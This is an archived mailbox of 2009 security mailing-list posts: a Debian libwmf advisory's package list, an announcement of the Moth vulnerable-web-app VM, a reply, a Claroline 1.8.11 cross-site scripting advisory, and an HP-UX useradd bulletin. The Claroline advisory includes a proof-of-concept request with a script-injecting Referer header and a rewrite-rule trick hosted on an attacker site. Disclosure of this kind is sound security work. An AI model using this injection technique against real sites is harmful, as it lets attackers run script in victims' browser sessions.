Size/MD5 checksum: 233692 cd29f5b00baf76ff13024fbb86f6d9e3
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf0.2-7_0.2.8.4-2+etch1_hppa.deb
Size/MD5 checksum: 199222 8065d7a00098dc8369db734a05b9c17f
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-bin_0.2.8.4-2+etch1_hppa.deb
Size/MD5 checksum: 20012 248ff058981781eb05dd840e267be350
i386 architecture (Intel ia32)
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-bin_0.2.8.4-2+etch1_i386.deb
Size/MD5 checksum: 16972 6c9b82eb6ec8bae312e3b9560287f128
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf0.2-7_0.2.8.4-2+etch1_i386.deb
Size/MD5 checksum: 173774 574bd6bfae2c31dd6b327adbc3f8198e
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-dev_0.2.8.4-2+etch1_i386.deb
Size/MD5 checksum: 196458 fd9303e305f980531f7189bde27cf9d2
ia64 architecture (Intel ia64)
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-dev_0.2.8.4-2+etch1_ia64.deb
Size/MD5 checksum: 302452 52a71013e006a01c8c9fa9812dcbbce8
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-bin_0.2.8.4-2+etch1_ia64.deb
Size/MD5 checksum: 26150 8d4c7ca669c634d5a4a0c038f603f8b8
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf0.2-7_0.2.8.4-2+etch1_ia64.deb
Size/MD5 checksum: 264844 21f1ff094fd730d04e7e2b4377b874f6
mips architecture (MIPS (Big Endian))
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-dev_0.2.8.4-2+etch1_mips.deb
Size/MD5 checksum: 229336 d52a35cbfe9b5bc6791f43b894f6bda8
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf0.2-7_0.2.8.4-2+etch1_mips.deb
Size/MD5 checksum: 176096 5dc5d4b8417ddcdca85ccac83c7072ef
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-bin_0.2.8.4-2+etch1_mips.deb
Size/MD5 checksum: 18994 80122014dde275e45efb64b4451603e8
powerpc architecture (PowerPC)
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf0.2-7_0.2.8.4-2+etch1_powerpc.deb
Size/MD5 checksum: 186686 bce7bb5a7b7a8d6593a4273d2e3e4c7b
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-dev_0.2.8.4-2+etch1_powerpc.deb
Size/MD5 checksum: 207140 10bbafbc62f653e29b2f8c88bbdd9b02
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-bin_0.2.8.4-2+etch1_powerpc.deb
Size/MD5 checksum: 22900 543ae9e4df3d297121f899b634636713
s390 architecture (IBM S/390)
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-bin_0.2.8.4-2+etch1_s390.deb
Size/MD5 checksum: 18116 1206f23d337f638a7bf405fae7f9a7a1
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-dev_0.2.8.4-2+etch1_s390.deb
Size/MD5 checksum: 203422 4d8465b694e76c2b5a58d3787b4914c6
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf0.2-7_0.2.8.4-2+etch1_s390.deb
Size/MD5 checksum: 183234 639d7e103590d7688224d9f5502126b0
sparc architecture (Sun SPARC/UltraSPARC)
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf0.2-7_0.2.8.4-2+etch1_sparc.deb
Size/MD5 checksum: 173576 4d7b14354b5c143ed4fa096bbcb1a752
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-dev_0.2.8.4-2+etch1_sparc.deb
Size/MD5 checksum: 203976 f319ee7010a0efd187db5023359a8beb
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-bin_0.2.8.4-2+etch1_sparc.deb
Size/MD5 checksum: 17268 bb5de5301730ce0cd417e6e945838512
Debian GNU/Linux 5.0 alias lenny
- --------------------------------
Debian (stable)
- ---------------
Stable updates are available for alpha, amd64, arm, armel, hppa, i386, ia64, mips, mipsel, powerpc, s390 and sparc.
Source archives:
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf_0.2.8.4-6+lenny1.diff.gz
Size/MD5 checksum: 7894 4f82263c3909e9b63e0cbc7ed10e997d
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf_0.2.8.4.orig.tar.gz
Size/MD5 checksum: 2169375 d1177739bf1ceb07f57421f0cee191e0
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf_0.2.8.4-6+lenny1.dsc
Size/MD5 checksum: 1195 ca8aa8b0ca3a03408032af1ff3882569
Architecture independent packages:
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-doc_0.2.8.4-6+lenny1_all.deb
Size/MD5 checksum: 285920 c5388d928771785efcbf9cecb6c589a1
alpha architecture (DEC Alpha)
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-bin_0.2.8.4-6+lenny1_alpha.deb
Size/MD5 checksum: 20598 d06f257a8d9ac39374bd69327bb44856
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-dev_0.2.8.4-6+lenny1_alpha.deb
Size/MD5 checksum: 263434 8daea32a448767b08e888f051dcc95f7
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf0.2-7_0.2.8.4-6+lenny1_alpha.deb
Size/MD5 checksum: 203738 e9ac47fa10381c5510c5ace60b920c1a
amd64 architecture (AMD x86_64 (AMD64))
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-bin_0.2.8.4-6+lenny1_amd64.deb
Size/MD5 checksum: 18992 49529a2273c18658ed927016b33e0ff5
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf0.2-7_0.2.8.4-6+lenny1_amd64.deb
Size/MD5 checksum: 186908 79c5cf0608709bb8a8e52547a050e94c
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-dev_0.2.8.4-6+lenny1_amd64.deb
Size/MD5 checksum: 210036 b933a8713fee44409613401692602bc9
arm architecture (ARM)
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-bin_0.2.8.4-6+lenny1_arm.deb
Size/MD5 checksum: 16936 de40799cfcd047a65470c67d90c99996
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf0.2-7_0.2.8.4-6+lenny1_arm.deb
Size/MD5 checksum: 173436 7ac2f9516551b7e87c58e9b3c90c4aae
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-dev_0.2.8.4-6+lenny1_arm.deb
Size/MD5 checksum: 193904 70ff03d5f3353a7921b9e64a7d575865
armel architecture (ARM EABI)
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf0.2-7_0.2.8.4-6+lenny1_armel.deb
Size/MD5 checksum: 181438 af85015b825f8ff0afe5013b9198f612
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-bin_0.2.8.4-6+lenny1_armel.deb
Size/MD5 checksum: 18334 5b6ebb4cf15385f5ee4cb5994ceca5e0
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-dev_0.2.8.4-6+lenny1_armel.deb
Size/MD5 checksum: 199168 ac0f164a3f1cb5773351026db81c3b4a
hppa architecture (HP PA RISC)
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-bin_0.2.8.4-6+lenny1_hppa.deb
Size/MD5 checksum: 19770 3bef399e7872f710e425bd4f9e4327a6
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf0.2-7_0.2.8.4-6+lenny1_hppa.deb
Size/MD5 checksum: 201662 faf3930f62f1e8040b98df980e011b57
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-dev_0.2.8.4-6+lenny1_hppa.deb
Size/MD5 checksum: 236120 f92e57dfc0f888949f2d54f6ee9687a1
i386 architecture (Intel ia32)
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf0.2-7_0.2.8.4-6+lenny1_i386.deb
Size/MD5 checksum: 176452 a70ddf1417312c0acad56e05403b8875
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-dev_0.2.8.4-6+lenny1_i386.deb
Size/MD5 checksum: 194024 f3d7fb16b81a8df01eccb01dfce91cc4
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-bin_0.2.8.4-6+lenny1_i386.deb
Size/MD5 checksum: 16928 572efd6f96ec0aad181fea0ba46e96f2
ia64 architecture (Intel ia64)
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-bin_0.2.8.4-6+lenny1_ia64.deb
Size/MD5 checksum: 25766 6dc665e9ced6a39c279eb93abcf1469f
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-dev_0.2.8.4-6+lenny1_ia64.deb
Size/MD5 checksum: 304474 60d47ed04099d9128c255097536b59fd
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf0.2-7_0.2.8.4-6+lenny1_ia64.deb
Size/MD5 checksum: 270232 6e92952dc90896353b46392f2a5d0edb
mips architecture (MIPS (Big Endian))
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-bin_0.2.8.4-6+lenny1_mips.deb
Size/MD5 checksum: 18192 c962575a11e80c524148034e335c02b3
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-dev_0.2.8.4-6+lenny1_mips.deb
Size/MD5 checksum: 229846 23e8811e367af817997a8dc2c87f45c7
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf0.2-7_0.2.8.4-6+lenny1_mips.deb
Size/MD5 checksum: 179160 907f41074981099e5b970ba373770483
mipsel architecture (MIPS (Little Endian))
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-dev_0.2.8.4-6+lenny1_mipsel.deb
Size/MD5 checksum: 223738 d719ba660f5a356e982fd173f51bcf73
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-bin_0.2.8.4-6+lenny1_mipsel.deb
Size/MD5 checksum: 17854 8f1b053ebe04427d7ecdbad974865302
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf0.2-7_0.2.8.4-6+lenny1_mipsel.deb
Size/MD5 checksum: 180004 4effa6b4a227d70e574106d88150660d
powerpc architecture (PowerPC)
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-dev_0.2.8.4-6+lenny1_powerpc.deb
Size/MD5 checksum: 214354 e7433c7790e0b0456c415d84c9dd7cd2
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-bin_0.2.8.4-6+lenny1_powerpc.deb
Size/MD5 checksum: 27392 7282af7c836ee8c2339e48f04885e955
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf0.2-7_0.2.8.4-6+lenny1_powerpc.deb
Size/MD5 checksum: 196128 61d4022bd0ac9028e6fac9b8521a3fd3
s390 architecture (IBM S/390)
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-dev_0.2.8.4-6+lenny1_s390.deb
Size/MD5 checksum: 203604 6195247347970250b62101f6b798409b
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-bin_0.2.8.4-6+lenny1_s390.deb
Size/MD5 checksum: 18624 3c2be19a55bb550e1a6383b93f0eda9e
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf0.2-7_0.2.8.4-6+lenny1_s390.deb
Size/MD5 checksum: 186986 17b24ed61aea2f6153f700378d512e02
sparc architecture (Sun SPARC/UltraSPARC)
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf0.2-7_0.2.8.4-6+lenny1_sparc.deb
Size/MD5 checksum: 177318 02b2b31bb88340a03e58ad679370e3aa
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-dev_0.2.8.4-6+lenny1_sparc.deb
Size/MD5 checksum: 200278 9e0041b2d3b87acfbcf9fd1790677859
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-bin_0.2.8.4-6+lenny1_sparc.deb
Size/MD5 checksum: 17748 5f0f3860c1af2bba8e6a77cb9ed67cca
These files will probably be moved into the stable distribution on
its next update.
- ---------------------------------------------------------------------------------
For apt-get: deb
http://security.debian.org/ stable/updates main
For dpkg-ftp:
ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce@lists.debian.org
Package info: `apt-cache show <pkg>' and
http://packages.debian.org/<pkg>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
iEYEARECAAYFAkoDCo0ACgkQHYflSXNkfP8TYgCfT4n7imxW2vBRC1vCFgz/AB3+
lv8AoKrcIB/i5m/JAsssjkDLkr1GH8v8
=om0D
-----END PGP SIGNATURE-----
From - Fri May 8 00:27:24 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00007767
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40258-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id C3E20ECE81
for <lists@securityspace.com>; Fri, 8 May 2009 00:18:06 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 99A311437EF; Thu, 7 May 2009 20:32:49 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 26065 invoked from network); 8 May 2009 01:27:05 -0000
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=gmail.com; s=gamma;
h=domainkey-signature:mime-version:received:date:message-id:subject
:from:to:content-type:content-transfer-encoding;
bh=SyCfTT2c7R3DWewqZdYZG8EgJOqHFK2fzCyTUJrAaMo=;
b=p6ktcdbApNzZlWMG4QavNiKQ5+V75Oo8oywOyXfZxaWtWOPy95RUd2Ss7vt9XxYbyD
IQ/Udu/wnTA3RlxsJq+bVKVO72s/6hG9SuBI3FGBNRf2KxYpg+IAvoqSCI4Q6Hq6dojN
i02Cnk2fzqUtFhACLptGR9wikvm/KZlbOnIFMDomainKey-Signature: a=rsa-sha1; c=nofws;
d=gmail.com; s=gamma;
h=mime-version:date:message-id:subject:from:to:content-type
:content-transfer-encoding;
b=JScKEuXjuBW7pgap1a2tE+ZZSGIAXdtnRCgZBb3jzZtk0O/ynO4nwbVr9hcyvav5KW
Fh1WowRRxetmPqXLEMHz2UibjdkQKfAKmvkiseYN419hTCtubakiE81mEXzVg72gOuKJ
IpcLx6ExI+WT1dY8WNoJqNSvgQZdGz+onwEPYMIME-Version: 1.0
Date: Thu, 7 May 2009 22:27:03 -0300
Message-ID: <cdfaf8b20905071827l42929b6ex20cde4d3ae9ab1c7@mail.gmail.com>
Subject: [TOOL] moth - vulnerable web application vmware
From: Andres Riancho <andres.riancho@gmail.com>
To: full-disclosure <full-disclosure@lists.grok.org.uk>,
webappsec <websecurity@webappsec.org>,
"owasp-argentina@lists.owasp.org" <owasp-argentina@lists.owasp.org>,
Opensource Code review engine <owasp-orizon@lists.owasp.org>,
owasp-appcec-tool-benchmarking-project@lists.owasp.org,
pen-test@securityfocus.com, bugtraq@securityfocus.com
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Status:
List,
Moth is a VMware image with a set of vulnerable Web Applications and
scripts, that you may use for:
- Testing Web Application Security Scanners
- Testing Static Code Analysis tools (SCA)
- Giving an introductory course to Web Application Security
The motivation for creating this tool came after reading
"anantasec-report.pdf" which is included in the release file which you
are free to download. The main objective of this tool is to give the
community a ready to use testbed for web application security tools.
For almost every web application vulnerability in existance, there is
a test script available in moth.
Other tools like this are available but they lack one very important
feature: a list of vulnerabilities included in the Web Applications!
In our case, we used the results gathered in the anantasec report to
solve this issue without any extra work.
There are three different ways to access the web applications and
vulnerable scripts:
- Directly
- Through mod_security
- Through PHP-IDS (only if the web application is written in PHP)
Both mod_security and PHP-IDS have their default configurations and
they show a log of the offending request when one is found. This is
very useful for testing web application scanners, and teaching
students how web application firewalls work. The beauty is that a user
may access the same vulnerable script using the three methods; which
helps a lot in the learning process.
This is the first contribution of Bonsai Information Security to the
w3af project. Many more contributions are on it's way,
More information about moth and the download link can be found here:
http://www.bonsai-sec.com/research/moth.php
Cheers,
--
Andr�s Riancho
Founder, Bonsai - Information Security
http://www.bonsai-sec.com/
http://w3af.sf.net/
From - Fri May 8 08:47:54 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000777e
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40259-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id D7A1DECEB4
for <lists@securityspace.com>; Fri, 8 May 2009 08:42:25 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 13B95236F88; Fri, 8 May 2009 06:37:44 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 28540 invoked from network); 8 May 2009 03:43:45 -0000
X-Spam-Status: No, hits=0.0 required=9.9
tests=ALL_TRUSTED: -2.867,BAYES_00: -1.665,INFO_TLD: 1.686
X-Spam-Level:
Message-ID: <4A03A9DA.6050704@fuckthespam.com>
Date: Thu, 07 May 2009 20:41:14 -0700
From: romain <r@fuckthespam.com>
User-Agent: Thunderbird 2.0.0.21 (Windows/20090302)
MIME-Version: 1.0
To: Andres Riancho <andres.riancho@gmail.com>
Cc: full-disclosure <full-disclosure@lists.grok.org.uk>,
webappsec <websecurity@webappsec.org>,
"owasp-argentina@lists.owasp.org" <owasp-argentina@lists.owasp.org>,
Opensource Code review engine <owasp-orizon@lists.owasp.org>,
owasp-appcec-tool-benchmarking-project@lists.owasp.org,
pen-test@securityfocus.com, bugtraq@securityfocus.com
Subject: Re: [WEB SECURITY] [TOOL] moth - vulnerable web application vmware
References: <cdfaf8b20905071827l42929b6ex20cde4d3ae9ab1c7@mail.gmail.com>
In-Reply-To: <cdfaf8b20905071827l42929b6ex20cde4d3ae9ab1c7@mail.gmail.com>
X-Enigmail-Version: 0.95.7
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Status:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Hey Andres,
That seems to be really cool stuff! We need more of these test suites
for both SCAs/WebApps Scanners (every body uses WebGoat, even vendors,
so it's not fun and doesn't mean anything anymore).
Hope many will contribute to this project!
I haven't had a change to look at what apps compose this test suites,
but is Wivet part of it? Such crawler targeting test suite is also
important for web apps scanners...
- --Romain
http://rgaucher.info
Andres Riancho wrote:
> List,
>
> Moth is a VMware image with a set of vulnerable Web Applications and
> scripts, that you may use for:
> - Testing Web Application Security Scanners
> - Testing Static Code Analysis tools (SCA)
> - Giving an introductory course to Web Application Security
>
> The motivation for creating this tool came after reading
> "anantasec-report.pdf" which is included in the release file which you
> are free to download. The main objective of this tool is to give the
> community a ready to use testbed for web application security tools.
> For almost every web application vulnerability in existance, there is
> a test script available in moth.
>
> Other tools like this are available but they lack one very important
> feature: a list of vulnerabilities included in the Web Applications!
> In our case, we used the results gathered in the anantasec report to
> solve this issue without any extra work.
>
> There are three different ways to access the web applications and
> vulnerable scripts:
> - Directly
> - Through mod_security
> - Through PHP-IDS (only if the web application is written in PHP)
>
> Both mod_security and PHP-IDS have their default configurations and
> they show a log of the offending request when one is found. This is
> very useful for testing web application scanners, and teaching
> students how web application firewalls work. The beauty is that a user
> may access the same vulnerable script using the three methods; which
> helps a lot in the learning process.
>
> This is the first contribution of Bonsai Information Security to the
> w3af project. Many more contributions are on it's way,
>
> More information about moth and the download link can be found here:
>
http://www.bonsai-sec.com/research/moth.php
>
> Cheers,
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla -
http://enigmail.mozdev.org
iD8DBQFKA6naPqFffxxIpwoRAhf+AKC+bbCSduVxatIiHBvCTVl41513MACgsqrz
U3EBZa+ejr36z0gnfLMiV9A=JZRZ
-----END PGP SIGNATURE-----
From - Fri May 8 08:57:55 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00007780
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40260-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 0F93CECEA6
for <lists@securityspace.com>; Fri, 8 May 2009 08:53:05 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 78D9B237002; Fri, 8 May 2009 06:38:20 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 32342 invoked from network); 8 May 2009 06:47:18 -0000
Date: Fri, 8 May 2009 00:47:17 -0600
Message-Id: <200905080647.n486lHu1023576@www5.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.420 (Entity 5.420)
From: darkz.gsa@gmail.com
To: bugtraq@securityfocus.com
Subject: Claroline v.1.8.11 Cross-Site Scripting
Status:
Author: Gerendi Sandor Attila
Original Advisory:
http://gsasec.blogspot.com/2009/05/claroline-v1811-cross-site-scripting.html
Date: May 05, 2009
Package: Claroline (1.8.11)
Product Homepage:
http://www.claroline.net/
Versions Affected: v.1.8.11 (Other versions may also be affected)
Severity: Medium
Input passed to the 'Referer' header parameter when posting to '/claroline/linker/notfound.php' is not sanitized before it is returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.
Example:
GET /claroline_1_8_11/claroline/linker/notfound.php HTTP/1.0
Accept: */*
Referer: "><script>alert(123)</script><a href="
There are a couple of ways to inject arbitrary text (java script in our case) in the referer header parameter. One of the ways is using a rewrite rule on the remote attacker server. Example .htaccess file:
RewriteEngine on
RewriteRule ^referer/.*$ test.php [L]
Where the test.php file will be the container of the /claroline_1_8_11/claroline/linker/notfound.php link.
Now a request like:
http://remoteatackersite/referer/?"><script>alert(123)</script><a%20href="
will return a page from wich if we call /claroline_1_8_11/claroline/linker/notfound.php we trigger the XSS.
Note: For the first request browsers like IE are required (which does not automatically httpencode the get params)
Status:
1. Contacted the author at: May 05, 2009 via
http://forum.claroline.net/.
2. The author promptly (same day) fixed the problem, read at:
http://forum.claroline.net/viewtopic.php?fi&t193&pB102#p42099
From - Fri May 8 12:07:55 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00007789
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40261-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id E9B55ECEAD
for <lists@securityspace.com>; Fri, 8 May 2009 12:01:59 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 795DA143768; Fri, 8 May 2009 09:04:21 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 8122 invoked from network); 8 May 2009 13:18:41 -0000
To: bugtraq@securityfocus.com
From: security-alert@hp.com
Subject: [security bulletin] HPSBUX02366 SSRT080120 rev.2 - HPUX Running useradd(1M), Local Unauthorized Access
Date: Fri, 08 May 2009 06:18:38 -0700
Sender: secure@hpchs.cup.hp.com
Message-Id: <20090508131838.7E7BFBFE0@hpchs.cup.hp.com>
Status:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
SUPPORT COMMUNICATION - SECURITY BULLETIN
Document ID: c01539431
Version: 2
HPSBUX02366 SSRT080120 rev.2 - HPUX Running useradd(1M), Local Unauthorized Access
NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.
Release Date: 2009-04-27
Last Updated: 2009-05-07
Potential Security Impact: Local unauthorized access
Source: Hewlett-Packard Company, HP Software Security Response Team
VULNERABILITY SUMMARY
A potential security vulnerability has been identified in HP-UX running the useradd(1M) command. The vulnerability could be exploited locally to allow unauthorized access to directories or files.
References: CVE-2009-0719
SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
HP-UX B.11.11, B.11.23, B.11.31 running the useradd(1M) command
BACKGROUND
CVSS 2.0 Base Metrics
==============================================Reference Base Vector Base Score
CVE-2009-0719 (AV:L/AC:M/Au:S/C:C/I:C/A:N) 6.0
==============================================Information on CVSS is documented in HP Customer Notice: HPSN-2008-002.
RESOLUTION
HP has made the following patches available to resolve this vulnerability.
The patches are available from
http://itrc.hp.com
HP-UX Release
Patch ID
B.11.11 (11i v1)
PHCO_38492 or subsequent
B.11.23 (11i v2)
PHCO_38491 or subsequent
B.11.31 (11i v3)
PHCO_38547 or subsequent
The incorrect use of certain useradd(1M) options can result in corruption of the /etc/default/useradd template file.
The corrupt /etc/default/useradd template file can cause accounts to be created with incorrect ownership and permissions.
The patches insure that useradd(1M) options are processed correctly in all cases.
MANUAL ACTIONS: Yes - NonUpdate
Verify group id and home directory for all accounts
PRODUCT SPECIFIC INFORMATION
HP-UX Software Assistant: HP-UX Software Assistant is an enhanced application that replaces HP-UX Security Patch Check. It analyzes all Security Bulletins issued by HP and lists recommended actions that may apply to a specific HP-UX system. It can also download patches and create a depot automatically. For more information see: https://www.hp.com/go/swa
The following text is for use by the HP-UX Software Assistant.
AFFECTED VERSIONS
HP-UX B.11.11
============OS-Core.SYS-ADMIN
action: install PHCO_38492 or subsequent, verify group id and home directory for all accounts
URL:
http://itrc.hp.com
HP-UX B.11.23
============OS-Core.SYS-ADMIN
OS-Core.SYS2-ADMIN
action: install PHCO_38491 or subsequent, verify group id and home directory for all accounts
URL:
http://itrc.hp.com
HP-UX B.11.31
============OS-Core.SYS2-ADMIN
action: install PHCO_38547 or subsequent, verify group id and home directory for all accounts
URL:
http://itrc.hp.com
END AFFECTED VERSIONS
HISTORY
Version:1 (rev.1) - 27 April 2009 Initial release
Version:2 (rev.2) - 7 May 2009 Correct patch IDs
Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy.
Support: For further information, contact normal HP Services support channel.
Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com
It is strongly recommended that security related information being communicated to HP be encrypted using PGP, especially exploit information.
To get the security-alert PGP key, please send an e-mail message as follows:
To: security-alert@hp.com
Subject: get key
Subscribe: To initiate a subscription to receive future HP Security Bulletins via Email:
http://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NA&langcode=USENG&jumpid=in_SC-GEN__driverITRC&topiccode=ITRC
On the web page: ITRC security bulletins and patch sign-up
Under Step1: your ITRC security bulletins and patches
- check ALL categories for which alerts are required and continue.
Under Step2: your ITRC operating systems
- verify your operating system selections are checked and save.
To update an existing subscription:
http://h30046.www3.hp.com/subSignIn.php
Log in on the web page: Subscriber's choice for Business: sign-in.
On the web page: Subscriber's Choice: your profile summary - use Edit Profile to update appropriate sections.
To review previously published Security Bulletins visit:
http://www.itrc.hp.com/service/cki/secBullArchive.do
* The Software Product Category that this Security Bulletin relates to is represented by the 5th and 6th characters of the Bulletin number in the title:
GN = HP General SW
MA = HP Management Agents
MI = Misc. 3rd Party SW
MP = HP MPE/iX
NS = HP NonStop Servers
OV = HP OpenVMS
PI = HP Printing & Imaging
ST = HP Storage SW
TL = HP Trusted Linux
TU = HP Tru64 UNIX
UX = HP-UX
VV = HP VirtualVault
System management and security procedures must be reviewed frequently to maintain system integrity. HP is continually reviewing and enhancing the security features of software products to provide customers with current secure solutions.
